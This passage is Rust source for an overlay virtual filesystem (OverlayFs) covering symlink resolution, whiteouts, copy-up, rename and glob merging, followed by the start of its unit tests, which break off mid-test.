Err(VfsError::NotFound(path.to_path_buf()));\n            }\n\n            // Check if this component is a symlink (upper takes precedence)\n            let is_symlink_in_upper = self\n                .upper\n                .lstat(&candidate)\n                .is_ok_and(|m| m.node_type == NodeType::Symlink);\n            let is_symlink_in_lower = !is_symlink_in_upper\n                && self\n                    .lstat_lower(&candidate)\n                    .is_ok_and(|m| m.node_type == NodeType::Symlink);\n\n            if is_symlink_in_upper || is_symlink_in_lower {\n                if is_last && !follow_final {\n                    resolved = candidate;\n                } else {\n                    // Read the symlink target\n                    let target = if is_symlink_in_upper {\n                        self.upper.readlink(&candidate)?\n                    } else {\n                        self.readlink_lower(&candidate)?\n                    };\n                    // Resolve target (absolute or relative to parent)\n                    let abs_target = if target.is_absolute() {\n                        target\n                    } else {\n                        resolved.join(&target)\n                    };\n                    resolved = self.resolve_path_depth(&abs_target, true, depth - 1)?;\n                }\n            } else {\n                resolved = candidate;\n            }\n        }\n        Ok(resolved)\n    }\n\n    // ------------------------------------------------------------------\n    // Glob helpers (3h)\n    // ------------------------------------------------------------------\n\n    /// Walk directories in both layers for glob matching.\n    fn glob_walk(\n        &self,\n        dir: &Path,\n        components: &[&str],\n        current_path: PathBuf,\n        results: &mut Vec<PathBuf>,\n        max: usize,\n    ) {\n        if results.len() >= max || components.is_empty() {\n            if components.is_empty() {\n                results.push(current_path);\n            }\n            return;\n        }\n\n        let pattern = components[0];\n        let rest = &components[1..];\n\n        if pattern == \"**\" {\n            // Zero directories — advance past **\n            self.glob_walk(dir, rest, current_path.clone(), results, max);\n\n            // One or more directories — recurse\n            if let Ok(entries) = self.readdir_merged(dir) {\n                for entry in entries {\n                    if results.len() >= max {\n                        return;\n                    }\n                    if entry.name.starts_with('.') {\n                        continue;\n                    }\n                    let child_path = current_path.join(&entry.name);\n                    let child_dir = dir.join(&entry.name);\n                    if entry.node_type == NodeType::Directory\n                        || entry.node_type == NodeType::Symlink\n                    {\n                        self.glob_walk(&child_dir, components, child_path, results, max);\n                    }\n                }\n            }\n        } else if let Ok(entries) = self.readdir_merged(dir) {\n            for entry in entries {\n                if results.len() >= max {\n                    return;\n                }\n                if entry.name.starts_with('.') && !pattern.starts_with('.') {\n                    continue;\n                }\n                if glob_match(pattern, &entry.name) {\n                    let child_path = current_path.join(&entry.name);\n                    let child_dir = dir.join(&entry.name);\n                    if rest.is_empty() {\n                        results.push(child_path);\n                    } else if entry.node_type == NodeType::Directory\n                        || entry.node_type == NodeType::Symlink\n                    {\n                        self.glob_walk(&child_dir, rest, child_path, results, max);\n                    }\n                }\n            }\n        }\n    }\n}\n\n// ---------------------------------------------------------------------------\n// VirtualFs implementation\n// ---------------------------------------------------------------------------\n\nimpl VirtualFs for OverlayFs {\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n        let norm = normalize(path)?;\n        let resolved = self.resolve_path(&norm, true)?;\n        match self.resolve_layer(&resolved) {\n            LayerResult::Whiteout => Err(VfsError::NotFound(path.to_path_buf())),\n            LayerResult::Upper => self.upper.read_file(&resolved),\n            LayerResult::Lower => self.read_lower_file(&resolved),\n            LayerResult::NotFound => Err(VfsError::NotFound(path.to_path_buf())),\n        }\n    }\n\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        // Ensure parent directories exist in upper\n        if let Some(parent) = norm.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        // Remove whiteout if any (we're creating/overwriting the file)\n        self.remove_whiteout(&norm);\n        self.upper.write_file(&norm, content)\n    }\n\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let resolved = self.resolve_path(&norm, true)?;\n        match self.resolve_layer(&resolved) {\n            LayerResult::Whiteout => Err(VfsError::NotFound(path.to_path_buf())),\n            LayerResult::Upper => self.upper.append_file(&resolved, content),\n            LayerResult::Lower => {\n                self.copy_up_if_needed(&resolved)?;\n                self.upper.append_file(&resolved, content)\n            }\n            LayerResult::NotFound => Err(VfsError::NotFound(path.to_path_buf())),\n        }\n    }\n\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        let in_upper = self.upper_has_entry(&norm);\n        let in_lower = self.lower_exists(&norm);\n        if !in_upper && !in_lower {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        // Verify it's not a directory\n        if in_upper {\n            if let Ok(m) = self.upper.lstat(&norm)\n                && m.node_type == NodeType::Directory\n            {\n                return Err(VfsError::IsADirectory(path.to_path_buf()));\n            }\n        } else if let Ok(m) = self.lstat_lower(&norm)\n            && m.node_type == NodeType::Directory\n        {\n            return Err(VfsError::IsADirectory(path.to_path_buf()));\n        }\n        if in_upper {\n            self.upper.remove_file(&norm)?;\n        }\n        self.add_whiteout(&norm);\n        Ok(())\n    }\n\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            // Path was deleted — we can re-create it\n            self.remove_whiteout(&norm);\n        } else {\n            // Check if it already exists in either layer\n            let in_upper = self.upper_has_entry(&norm);\n            let in_lower = self.lower_exists(&norm);\n            if in_upper || in_lower {\n                return Err(VfsError::AlreadyExists(path.to_path_buf()));\n            }\n        }\n        // Ensure parents exist in upper\n        if let Some(parent) = norm.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        // Check if it now exists in upper (ensure_upper_dir_path might have created it)\n        if self.upper_has_entry(&norm) {\n            return Err(VfsError::AlreadyExists(path.to_path_buf()));\n        }\n        self.upper.mkdir(&norm)\n    }\n\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let parts = path_components(&norm);\n        if parts.is_empty() {\n            return Ok(());\n        }\n\n        let mut built = PathBuf::from(\"/\");\n        for name in parts {\n            built.push(name);\n\n            // Skip if the whiteout was for this exact path but we want to recreate\n            if self.is_whiteout(&built) {\n                self.remove_whiteout(&built);\n                // Need to create this component in upper\n                self.ensure_single_dir_in_upper(&built)?;\n                continue;\n            }\n\n            // If it exists in upper, verify it's a directory\n            if self.upper_has_entry(&built) {\n                let m = self.upper.lstat(&built)?;\n                if m.node_type != NodeType::Directory {\n                    return Err(VfsError::NotADirectory(path.to_path_buf()));\n                }\n                continue;\n            }\n\n            // If it exists in lower, verify it's a directory — no need to copy up\n            if self.lower_exists(&built) {\n                let m = self.lstat_lower(&built)?;\n                if m.node_type != NodeType::Directory {\n                    return Err(VfsError::NotADirectory(path.to_path_buf()));\n                }\n                continue;\n            }\n\n            // Doesn't exist anywhere — create in upper\n            self.ensure_single_dir_in_upper(&built)?;\n        }\n        Ok(())\n    }\n\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n\n        let in_upper = self.upper_has_entry(&norm);\n        let in_lower = self.lower_exists(&norm);\n\n        if !in_upper && !in_lower {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n\n        // Validate directory through overlay (handles symlinks across layers)\n        let m = self.stat(&norm)?;\n        if m.node_type != NodeType::Directory {\n            return Err(VfsError::NotADirectory(path.to_path_buf()));\n        }\n\n        self.readdir_merged(&norm)\n    }\n\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n\n        // Check that it exists and is a directory\n        let m = self.lstat_overlay(&norm, path)?;\n        if m.node_type != NodeType::Directory {\n            return Err(VfsError::NotADirectory(path.to_path_buf()));\n        }\n\n        // Check that it's empty (merged view)\n        let entries = self.readdir_merged(&norm)?;\n        if !entries.is_empty() {\n            return Err(VfsError::DirectoryNotEmpty(path.to_path_buf()));\n        }\n\n        // Remove from upper if present\n        if self.upper_has_entry(&norm) {\n            self.upper.remove_dir(&norm).ok();\n        }\n        self.add_whiteout(&norm);\n        Ok(())\n    }\n\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n\n        // Check that it exists\n        let m = self.lstat_overlay(&norm, path)?;\n        if m.node_type != NodeType::Directory {\n            return Err(VfsError::NotADirectory(path.to_path_buf()));\n        }\n\n        // Recursively whiteout all children\n        self.whiteout_recursive(&norm)?;\n\n        // Remove the directory subtree from upper if present\n        if self.upper_has_entry(&norm) {\n            self.upper.remove_dir_all(&norm).ok();\n        }\n\n        // Whiteout the directory itself\n        self.add_whiteout(&norm);\n        Ok(())\n    }\n\n    fn exists(&self, path: &Path) -> bool {\n        let norm = match normalize(path) {\n            Ok(p) => p,\n            Err(_) => return false,\n        };\n        if self.is_whiteout(&norm) {\n            return false;\n        }\n        // Check if entry exists in either layer without following symlinks first\n        if !self.upper_has_entry(&norm) && !self.lower_exists(&norm) {\n            return false;\n        }\n        // If it's a symlink, verify the target exists through the overlay\n        let meta = match self.lstat_overlay(&norm, &norm) {\n            Ok(m) => m,\n            Err(_) => return false,\n        };\n        if meta.node_type == NodeType::Symlink {\n            return self.stat(&norm).is_ok();\n        }\n        true\n    }\n\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let norm = normalize(path)?;\n        // Try to resolve symlinks\n        let resolved = self.resolve_path(&norm, true)?;\n        match self.resolve_layer(&resolved) {\n            LayerResult::Whiteout => Err(VfsError::NotFound(path.to_path_buf())),\n            LayerResult::Upper => self.upper.stat(&resolved),\n            LayerResult::Lower => self.stat_lower(&resolved),\n            LayerResult::NotFound => Err(VfsError::NotFound(path.to_path_buf())),\n        }\n    }\n\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let norm = normalize(path)?;\n        self.lstat_overlay(&norm, path)\n    }\n\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let resolved = self.resolve_path(&norm, true)?;\n        match self.resolve_layer(&resolved) {\n            LayerResult::Whiteout => Err(VfsError::NotFound(path.to_path_buf())),\n            LayerResult::Upper => self.upper.chmod(&resolved, mode),\n            LayerResult::Lower => {\n                // Need to copy up the file/dir to apply chmod\n                let meta = self.lstat_lower(&resolved)?;\n                match meta.node_type {\n                    NodeType::File => {\n                        self.copy_up_if_needed(&resolved)?;\n                        self.upper.chmod(&resolved, mode)\n                    }\n                    NodeType::Directory => {\n                        self.ensure_upper_dir_path(&resolved)?;\n                        self.upper.chmod(&resolved, mode)\n                    }\n                    NodeType::Symlink => {\n                        Err(VfsError::IoError(\"cannot chmod a symlink directly\".into()))\n                    }\n                }\n            }\n            LayerResult::NotFound => Err(VfsError::NotFound(path.to_path_buf())),\n        }\n    }\n\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let resolved = self.resolve_path(&norm, true)?;\n        match self.resolve_layer(&resolved) {\n            LayerResult::Whiteout => Err(VfsError::NotFound(path.to_path_buf())),\n            LayerResult::Upper => self.upper.utimes(&resolved, mtime),\n            LayerResult::Lower => {\n                let meta = self.lstat_lower(&resolved)?;\n                match meta.node_type {\n                    NodeType::File => {\n                        self.copy_up_if_needed(&resolved)?;\n                        self.upper.utimes(&resolved, mtime)\n                    }\n                    NodeType::Directory => {\n                        self.ensure_upper_dir_path(&resolved)?;\n                        self.upper.utimes(&resolved, mtime)\n                    }\n                    NodeType::Symlink => {\n                        self.copy_up_symlink_if_needed(&resolved)?;\n                        self.upper.utimes(&resolved, mtime)\n                    }\n                }\n            }\n            LayerResult::NotFound => Err(VfsError::NotFound(path.to_path_buf())),\n        }\n    }\n\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError> {\n        let norm_link = normalize(link)?;\n        // Ensure parent in upper\n        if let Some(parent) = norm_link.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        // If there's a whiteout, remove it to allow re-creation\n        self.remove_whiteout(&norm_link);\n        self.upper.symlink(target, &norm_link)\n    }\n\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let norm_src = normalize(src)?;\n        let norm_dst = normalize(dst)?;\n        // Read source from whichever layer has it\n        let content = self.read_file(&norm_src)?;\n        let meta = self.stat(&norm_src)?;\n        // Ensure parent for dst in upper\n        if let Some(parent) = norm_dst.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        self.remove_whiteout(&norm_dst);\n        self.upper.write_file(&norm_dst, &content)?;\n        self.upper.chmod(&norm_dst, meta.mode)?;\n        self.upper.utimes(&norm_dst, meta.mtime)?;\n        Ok(())\n    }\n\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let norm = normalize(path)?;\n        if self.is_whiteout(&norm) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        if self.upper_has_entry(&norm) {\n            return self.upper.readlink(&norm);\n        }\n        if self.lower_exists(&norm) {\n            return self.readlink_lower(&norm);\n        }\n        Err(VfsError::NotFound(path.to_path_buf()))\n    }\n\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let norm = normalize(path)?;\n        let resolved = self.resolve_path(&norm, true)?;\n        // Make sure the resolved path actually exists\n        if self.is_whiteout(&resolved) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        if !self.upper_has_entry(&resolved) && !self.lower_exists(&resolved) {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        Ok(resolved)\n    }\n\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let norm_src = normalize(src)?;\n        let norm_dst = normalize(dst)?;\n        // Read from resolved layer\n        let content = self.read_file(&norm_src)?;\n        let meta = self.stat(&norm_src)?;\n        // Write to upper\n        self.write_file(&norm_dst, &content)?;\n        self.chmod(&norm_dst, meta.mode)?;\n        Ok(())\n    }\n\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let norm_src = normalize(src)?;\n        let norm_dst = normalize(dst)?;\n\n        if self.is_whiteout(&norm_src) {\n            return Err(VfsError::NotFound(src.to_path_buf()));\n        }\n\n        // Copy-up src if only in lower\n        let in_upper = self.upper_has_entry(&norm_src);\n        let in_lower = self.lower_exists(&norm_src);\n        if !in_upper && !in_lower {\n            return Err(VfsError::NotFound(src.to_path_buf()));\n        }\n\n        // Read content and metadata\n        let meta = self.lstat_overlay(&norm_src, src)?;\n        match meta.node_type {\n            NodeType::File => {\n                let content = self.read_file(&norm_src)?;\n                // Ensure dst parent exists in upper\n                if let Some(parent) = norm_dst.parent()\n                    && parent != Path::new(\"/\")\n                {\n                    self.ensure_upper_dir_path(parent)?;\n                }\n                self.remove_whiteout(&norm_dst);\n                self.upper.write_file(&norm_dst, &content)?;\n                self.upper.chmod(&norm_dst, meta.mode)?;\n            }\n            NodeType::Symlink => {\n                let target = self.readlink(&norm_src)?;\n                if let Some(parent) = norm_dst.parent()\n                    && parent != Path::new(\"/\")\n                {\n                    self.ensure_upper_dir_path(parent)?;\n                }\n                self.remove_whiteout(&norm_dst);\n                self.upper.symlink(&target, &norm_dst)?;\n            }\n            NodeType::Directory => {\n                // For directory rename, copy all children recursively\n                if let Some(parent) = norm_dst.parent()\n                    && parent != Path::new(\"/\")\n                {\n                    self.ensure_upper_dir_path(parent)?;\n                }\n                self.remove_whiteout(&norm_dst);\n                self.upper.mkdir_p(&norm_dst)?;\n                let entries = self.readdir_merged(&norm_src)?;\n                for entry in entries {\n                    let child_src = norm_src.join(&entry.name);\n                    let child_dst = norm_dst.join(&entry.name);\n                    self.rename(&child_src, &child_dst)?;\n                }\n            }\n        }\n\n        // Remove from upper if it was there\n        if in_upper {\n            match meta.node_type {\n                NodeType::Directory => {\n                    self.upper.remove_dir_all(&norm_src).ok();\n                }\n                _ => {\n                    self.upper.remove_file(&norm_src).ok();\n                }\n            }\n        }\n        // Whiteout the source to hide from lower\n        self.add_whiteout(&norm_src);\n        Ok(())\n    }\n\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError> {\n        let is_absolute = pattern.starts_with('/');\n        let abs_pattern = if is_absolute {\n            pattern.to_string()\n        } else {\n            let cwd_str = cwd.to_str().unwrap_or(\"/\").trim_end_matches('/');\n            format!(\"{cwd_str}/{pattern}\")\n        };\n\n        let components: Vec<&str> = abs_pattern.split('/').filter(|s| !s.is_empty()).collect();\n        let mut results = Vec::new();\n        let max = 100_000;\n        self.glob_walk(\n            Path::new(\"/\"),\n            &components,\n            PathBuf::from(\"/\"),\n            &mut results,\n            max,\n        );\n\n        results.sort();\n        results.dedup();\n\n        if !is_absolute {\n            results = results\n                .into_iter()\n                .filter_map(|p| p.strip_prefix(cwd).ok().map(|r| r.to_path_buf()))\n                .collect();\n        }\n\n        Ok(results)\n    }\n\n    fn deep_clone(&self) -> Arc<dyn VirtualFs> {\n        Arc::new(OverlayFs {\n            lower: self.lower.clone(),\n            upper: self.upper.deep_clone(),\n            whiteouts: Arc::new(RwLock::new(self.whiteouts.read().clone())),\n        })\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Private OverlayFs helpers\n// ---------------------------------------------------------------------------\n\nimpl OverlayFs {\n    /// lstat through the overlay (no symlink following on final component).\n    fn lstat_overlay(&self, norm: &Path, orig: &Path) -> Result<Metadata, VfsError> {\n        if self.is_whiteout(norm) {\n            return Err(VfsError::NotFound(orig.to_path_buf()));\n        }\n        if self.upper_has_entry(norm) {\n            return self.upper.lstat(norm);\n        }\n        if self.lower_exists(norm) {\n            return self.lstat_lower(norm);\n        }\n        Err(VfsError::NotFound(orig.to_path_buf()))\n    }\n\n    /// Ensure a single directory exists in the upper layer at `path`.\n    fn ensure_single_dir_in_upper(&self, path: &Path) -> Result<(), VfsError> {\n        if self.upper_has_entry(path) {\n            return Ok(());\n        }\n        // Ensure parent first\n        if let Some(parent) = path.parent()\n            && parent != Path::new(\"/\")\n            && !self.upper_has_entry(parent)\n        {\n            self.ensure_single_dir_in_upper(parent)?;\n        }\n        self.upper.mkdir(path)\n    }\n\n    /// Copy-up a symlink from lower to upper.\n    fn copy_up_symlink_if_needed(&self, path: &Path) -> Result<(), VfsError> {\n        if self.upper_has_entry(path) {\n            return Ok(());\n        }\n        if let Some(parent) = path.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        let target = self.readlink_lower(path)?;\n        self.upper.symlink(&target, path)\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Shared helpers\n// ---------------------------------------------------------------------------\n\n/// Normalize an absolute path: resolve `.` and `..`.\nfn normalize(path: &Path) -> Result<PathBuf, VfsError> {\n    let s = path.to_str().unwrap_or(\"\");\n    if s.is_empty() {\n        return Err(VfsError::InvalidPath(\"empty path\".into()));\n    }\n    if !super::vfs_path_is_absolute(path) {\n        return Err(VfsError::InvalidPath(format!(\n            \"path must be absolute: {}\",\n            path.display()\n        )));\n    }\n    let mut parts: Vec<String> = Vec::new();\n    for comp in path.components() {\n        match comp {\n            Component::RootDir | Component::Prefix(_) => {}\n            Component::CurDir => {}\n            Component::ParentDir => {\n                parts.pop();\n            }\n            Component::Normal(seg) => {\n                if let Some(s) = seg.to_str() {\n                    parts.push(s.to_owned());\n                } else {\n                    return Err(VfsError::InvalidPath(format!(\n                        \"non-UTF-8 component in: {}\",\n                        path.display()\n                    )));\n                }\n            }\n        }\n    }\n    let mut result = PathBuf::from(\"/\");\n    for p in &parts {\n        result.push(p);\n    }\n    Ok(result)\n}\n\n/// Split a normalized absolute path into component names.\nfn path_components(path: &Path) -> Vec<&str> {\n    path.components()\n        .filter_map(|c| match c {\n            Component::Normal(s) => s.to_str(),\n            _ => None,\n        })\n        .collect()\n}\n\n/// Map `std::io::Error` to `VfsError`.\nfn map_io_error(err: std::io::Error, path: &Path) -> VfsError {\n    let p = path.to_path_buf();\n    match err.kind() {\n        std::io::ErrorKind::NotFound => VfsError::NotFound(p),\n        std::io::ErrorKind::AlreadyExists => VfsError::AlreadyExists(p),\n        std::io::ErrorKind::PermissionDenied => VfsError::PermissionDenied(p),\n        std::io::ErrorKind::DirectoryNotEmpty => VfsError::DirectoryNotEmpty(p),\n        std::io::ErrorKind::NotADirectory => VfsError::NotADirectory(p),\n        std::io::ErrorKind::IsADirectory => VfsError::IsADirectory(p),\n        _ => VfsError::IoError(err.to_string()),\n    }\n}\n\n/// Map `std::fs::Metadata` to our `vfs::Metadata`.\nfn map_std_metadata(meta: &std::fs::Metadata) -> Metadata {\n    let node_type = if meta.is_symlink() {\n        NodeType::Symlink\n    } else if meta.is_dir() {\n        NodeType::Directory\n    } else {\n        NodeType::File\n    };\n    Metadata {\n        node_type,\n        size: meta.len(),\n        mode: meta.permissions().mode(),\n        mtime: meta.modified().unwrap_or(SystemTime::UNIX_EPOCH),\n        file_id: 0,\n    }\n}\n","/home/user/src/vfs/overlay_tests.rs":"//! Tests for OverlayFs.\n\nuse std::path::{Path, PathBuf};\n\nuse crate::platform::SystemTime;\n\nuse tempfile::TempDir;\n\nuse crate::vfs::{NodeType, OverlayFs, VirtualFs};\n\n/// Helper: create a temp directory with some files for use as the lower layer.\nfn setup_lower() -> TempDir {\n    let tmp = TempDir::new().unwrap();\n    let base = tmp.path();\n\n    // /src/main.rs\n    std::fs::create_dir_all(base.join(\"src\")).unwrap();\n    std::fs::write(base.join(\"src/main.rs\"), b\"fn main() {}\").unwrap();\n\n    // /README.md\n    std::fs::write(base.join(\"README.md\"), b\"# Hello\").unwrap();\n\n    // /data/config.toml\n    std::fs::create_dir_all(base.join(\"data\")).unwrap();\n    std::fs::write(base.join(\"data/config.toml\"), b\"key = \\\"value\\\"\").unwrap();\n\n    tmp\n}\n\n/// Helper: build an OverlayFs with the lower rooted at virtual \"/\".\nfn make_overlay(lower: &Path) -> OverlayFs {\n    OverlayFs::new(lower).unwrap()\n}\n\n// -----------------------------------------------------------------------\n// 3l.1 Read-through from lower\n// -----------------------------------------------------------------------\n\n#[test]\nfn read_through_from_lower() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    let content = ov.read_file(Path::new(\"/src/main.rs\")).unwrap();\n    assert_eq!(content, b\"fn main() {}\");\n\n    let content = ov.read_file(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(content, b\"# Hello\");\n}\n\n// -----------------------------------------------------------------------\n// 3l.2 Write isolation\n// -----------------------------------------------------------------------\n\n#[test]\nfn write_isolation() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Write a new file via overlay\n    ov.write_file(Path::new(\"/new_file.txt\"), b\"overlay data\")\n        .unwrap();\n\n    // Readable through overlay\n    assert_eq!(\n        ov.read_file(Path::new(\"/new_file.txt\")).unwrap(),\n        b\"overlay data\"\n    );\n\n    // NOT on disk\n    assert!(!tmp.path().join(\"new_file.txt\").exists());\n}\n\n#[test]\nfn overwrite_lower_file_does_not_touch_disk() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.write_file(Path::new(\"/README.md\"), b\"overwritten\")\n        .unwrap();\n    assert_eq!(\n        ov.read_file(Path::new(\"/README.md\")).unwrap(),\n        b\"overwritten\"\n    );\n\n    // Lower file is unchanged\n    let on_disk = std::fs::read(tmp.path().join(\"README.md\")).unwrap();\n    assert_eq!(on_disk, b\"# Hello\");\n}\n\n// -----------------------------------------------------------------------\n// 3l.3 Whiteout\n// -----------------------------------------------------------------------\n\n#[test]\nfn whiteout_hides_lower_file() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    assert!(ov.exists(Path::new(\"/README.md\")));\n    ov.remove_file(Path::new(\"/README.md\")).unwrap();\n    assert!(!ov.exists(Path::new(\"/README.md\")));\n\n    // Still on disk\n    assert!(tmp.path().join(\"README.md\").exists());\n}\n\n// -----------------------------------------------------------------------\n// 3l.4 Copy-up on modify\n// -----------------------------------------------------------------------\n\n#[test]\nfn copy_up_on_append() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.append_file(Path::new(\"/README.md\"), b\"\\nAppended\")\n        .unwrap();\n    let content = ov.read_file(Path::new(\"/README.md\")).unwrap();\n    assert_eq!(content, b\"# Hello\\nAppended\");\n\n    // Lower unchanged\n    let on_disk = std::fs::read(tmp.path().join(\"README.md\")).unwrap();\n    assert_eq!(on_disk, b\"# Hello\");\n}\n\n// -----------------------------------------------------------------------\n// 3l.5 Merged readdir\n// -----------------------------------------------------------------------\n\n#[test]\nfn merged_readdir() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Write a new file in the same dir as a lower file\n    ov.write_file(Path::new(\"/data/extra.txt\"), b\"extra\")\n        .unwrap();\n\n    let mut entries = ov.readdir(Path::new(\"/data\")).unwrap();\n    entries.sort_by(|a, b| a.name.cmp(&b.name));\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert_eq!(names, vec![\"config.toml\", \"extra.txt\"]);\n}\n\n#[test]\nfn readdir_excludes_whiteouts() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.remove_file(Path::new(\"/data/config.toml\")).unwrap();\n    let entries = ov.readdir(Path::new(\"/data\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(!names.contains(&\"config.toml\"));\n}\n\n// -----------------------------------------------------------------------\n// 3l.6 Rename across layers\n// -----------------------------------------------------------------------\n\n#[test]\nfn rename_lower_only_file() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.rename(Path::new(\"/README.md\"), Path::new(\"/RENAMED.md\"))\n        .unwrap();\n\n    // New name exists\n    assert_eq!(ov.read_file(Path::new(\"/RENAMED.md\")).unwrap(), b\"# Hello\");\n\n    // Old name gone\n    assert!(!ov.exists(Path::new(\"/README.md\")));\n\n    // Lower unchanged\n    assert!(tmp.path().join(\"README.md\").exists());\n}\n\n// -----------------------------------------------------------------------\n// 3l.7 Glob merging\n// -----------------------------------------------------------------------\n\n#[test]\nfn glob_merging() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.write_file(Path::new(\"/src/lib.rs\"), b\"pub mod lib;\")\n        .unwrap();\n\n    let mut matches = ov.glob(\"*.rs\", Path::new(\"/src\")).unwrap();\n    matches.sort();\n    assert_eq!(\n        matches,\n        vec![PathBuf::from(\"lib.rs\"), PathBuf::from(\"main.rs\")]\n    );\n}\n\n// -----------------------------------------------------------------------\n// 3l.8 deep_clone isolation\n// -----------------------------------------------------------------------\n\n#[test]\nfn deep_clone_isolation() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    ov.write_file(Path::new(\"/cloneable.txt\"), b\"original\")\n        .unwrap();\n\n    let clone = ov.deep_clone();\n\n    // Mutate the clone\n    clone\n        .write_file(Path::new(\"/cloneable.txt\"), b\"mutated\")\n        .unwrap();\n    clone\n        .write_file(Path::new(\"/clone_only.txt\"), b\"only in clone\")\n        .unwrap();\n\n    // Original unaffected\n    assert_eq!(\n        ov.read_file(Path::new(\"/cloneable.txt\")).unwrap(),\n        b\"original\"\n    );\n    assert!(!ov.exists(Path::new(\"/clone_only.txt\")));\n\n    // Clone sees its changes\n    assert_eq!(\n        clone.read_file(Path::new(\"/cloneable.txt\")).unwrap(),\n        b\"mutated\"\n    );\n\n    // Both can read from lower\n    assert_eq!(\n        clone.read_file(Path::new(\"/README.md\")).unwrap(),\n        b\"# Hello\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 3l.9 Non-existent lower → constructor error\n// -----------------------------------------------------------------------\n\n#[test]\nfn constructor_error_for_nonexistent_lower() {\n    let result = OverlayFs::new(\"/nonexistent/directory/that/does/not/exist\");\n    assert!(result.is_err());\n}\n\n// -----------------------------------------------------------------------\n// 3l.10 Ancestor whiteout hides descendants\n// -----------------------------------------------------------------------\n\n#[test]\nfn ancestor_whiteout_hides_descendants() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // Remove the entire /src directory\n    ov.remove_dir_all(Path::new(\"/src\")).unwrap();\n\n    // /src/main.rs should be gone\n    assert!(!ov.exists(Path::new(\"/src/main.rs\")));\n    assert!(!ov.exists(Path::new(\"/src\")));\n\n    // Reading should fail\n    assert!(ov.read_file(Path::new(\"/src/main.rs\")).is_err());\n}\n\n// -----------------------------------------------------------------------\n// 3l.11 mkdir_p through lower-only directories\n// -----------------------------------------------------------------------\n\n#[test]\nfn mkdir_p_through_lower_dirs() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n    // /src exists only in lower. mkdir_p should recognize it and create only build/release\n    ov.mkdir_p(Path::new(\"/src/build/release\")).unwrap();\n    assert!(ov.exists(Path::new(\"/src/build/release\")));\n\n    // /src is still from lower (not duplicated into upper unnecessarily)\n    // The important thing is that it works correctly\n    let entries = ov.readdir(Path::new(\"/src\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"main.rs\"));\n    assert!(names.contains(&\"build\"));\n}\n\n// -----------------------------------------------------------------------\n// 3l.12 stat / lstat / chmod / utimes\n// -----------------------------------------------------------------------\n\n#[test]\nfn stat_follows_through_layers() {\n    let tmp = setup_lower();\n    let ov = make_overlay(tmp.path());\n\n   